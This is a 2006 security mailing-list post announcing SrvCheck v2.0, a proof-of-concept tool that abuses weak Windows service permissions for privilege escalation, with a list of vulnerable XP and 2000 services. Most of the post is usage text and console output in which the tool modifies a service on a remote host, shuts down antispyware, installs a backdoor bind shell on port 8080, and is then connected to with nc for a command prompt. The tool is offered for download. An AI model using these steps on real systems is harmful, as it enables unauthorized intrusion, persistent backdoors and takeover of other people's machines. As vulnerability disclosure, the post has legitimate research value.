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Privilege Scalation for Windows Networks using weak Service restrictions v2.0 exploit
From: Andres Tarasco <atarasco () gmail com>
Date: Sun, 12 Feb 2006 19:28:16 +0100

 Proof of concept of Sudhakar Govindavajhala and Andrew Appel paper (
http://www.cs.princeton.edu/~sudhakar/papers/winval.pdf) Running as an
unprivileged user you can test if your services are vulnerable and can be
used to install a backdoor. Both source code and binary included
*Microsoft advisory:
http://microsoft.com/technet/security/advisory/914457.mspx*

*SrvCheck v2.0 is able to perform this checks remotely using for example
domain user credentials*
*Here is a short list of Known vulnerable services under XP sp2:*

*- Advanced User: *
service: DcomLaunch ( SYSTEM )
Service: UpnpHost ( Local Service )
Service: SSDPSRV (Local Service)
*- User: *
Service: UpnpHost ( Local Service )
Service: SSDPSRV (Local Service)
*- Network Config Operators:*
service: DcomLaunch ( SYSTEM )
Service: UpnpHost ( Local Service )
Service: SSDPSRV (Local Service)
Service: DHCP ( SYSTEM )
Service: NetBT (SYSTEM - .sys driver)
Service DnsCache (SYSTEM)

*Windows 2000 Professional SP4:*

*- Power User: *
service: WMI - Windows Management Instrumentation Driver Extensions ( SYSTEM
)

*Third part Software:*

HP: "Pml Driver HPZ12"
Audodesk: "Autodesk Licensing Service" - maybe this one:
http://securityfocus.com/bid/16472


D:\Programación\srvcheck2>srvcheck2.exe -?
 Services Permissions checker v2.0
 (c) 2006 Andres Tarasco - atarasco () gmail com

 Usage:
        -l               list vulnerable services
        -m <service>     modify the configuration for that service
        -c <command>     Command to execute throw remote service
                          by default. bindshell application will be used
        -H <Host>        specify a remote host to connect ip/netbiosname)
        -u <user>        if not seletected Default logon credentials used)
        -p <password>    if not used Default logon credentials used)
        -?               Extended information with samples
 examples:
        srvcheck.exe -l (list local vulnerabilities)
        srvcheck.exe -m service (spawn a shell at port 8080)
        srvcheck.exe -m service -c "cmd.exe /c md c:\PWNED"
        srvcheck -l -H host (list remote vulnerabilities)

D:\Programación\srvcheck2>srvcheck2.exe -l -H 192.168.0.1
 Services Permissions checker v2.0
 (c) 2006 Andres Tarasco - atarasco () gmail com

[+] Trying to connect to remote SCM
[+] Host: \\192.168.0.1\IPC$
[+] Username: (null)
[+] Password: (null)
[+] Network Connection OK
[+] Listing Vulnerable Services...

    [Dhcp]              Cliente DHCP
    Status: 0x4
    Parameter:          C:\WINDOWS\System32\svchost.exe -k netsvcs

    [Dnscache]          Cliente DNS
    Status: 0x4
    Parameter:          C:\WINDOWS\System32\svchost.exe -k NetworkService

    [NetBT]             NetBios a travÚs de Tcpip
    Status: 0x4
    Parameter:          System32\DRIVERS\netbt.sys

    [SSDPSRV]           Servicio de descubrimientos SSDP
    Status: 0x1
    Parameter:          C:\WINDOWS\System32\svchost.exe -k LocalService

    [upnphost]          Host de dispositivo Plug and Play universal
    Status: 0x1
    Parameter:          C:\WINDOWS\System32\svchost.exe

[+] Analyzed 311 Services in your system
[+] You were Lucky. 5 vulnerable services found

D:\Programación\srvcheck2>srvcheck2.exe -H 192.168.0.1 -m upnphost
 Services Permissions checker v2.0
 (c) 2006 Andres Tarasco - atarasco () gmail com

[+] Trying to connect to remote SCM
[+] Host: \\192.168.0.1\IPC$
[+] Username: (null)
[+] Password: (null)
[+] Network Connection OK
[+] Uninstalling previous backdoors
[+] Granting Remote bindshell Execution..
[+] Shutting down remote antispyware Service =)
[+] Installing Backdoor Code...
[+] The service have been succesfully modified =)
[+] Service Opened. Trying to Start... (wait a few seconds)
[+] StarteService() Error due to a non service application execution
[+] Ignore it. Your application should be executed =)
[+] Now connect to port 8080 and enjoy your new privileges

D:\Programación\srvcheck2>nc localhost 8080
Microsoft Windows XP [Versión 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>



regards,

Andres Tarasco

Attachment: srvcheck2.zip.REMOVE
Description:

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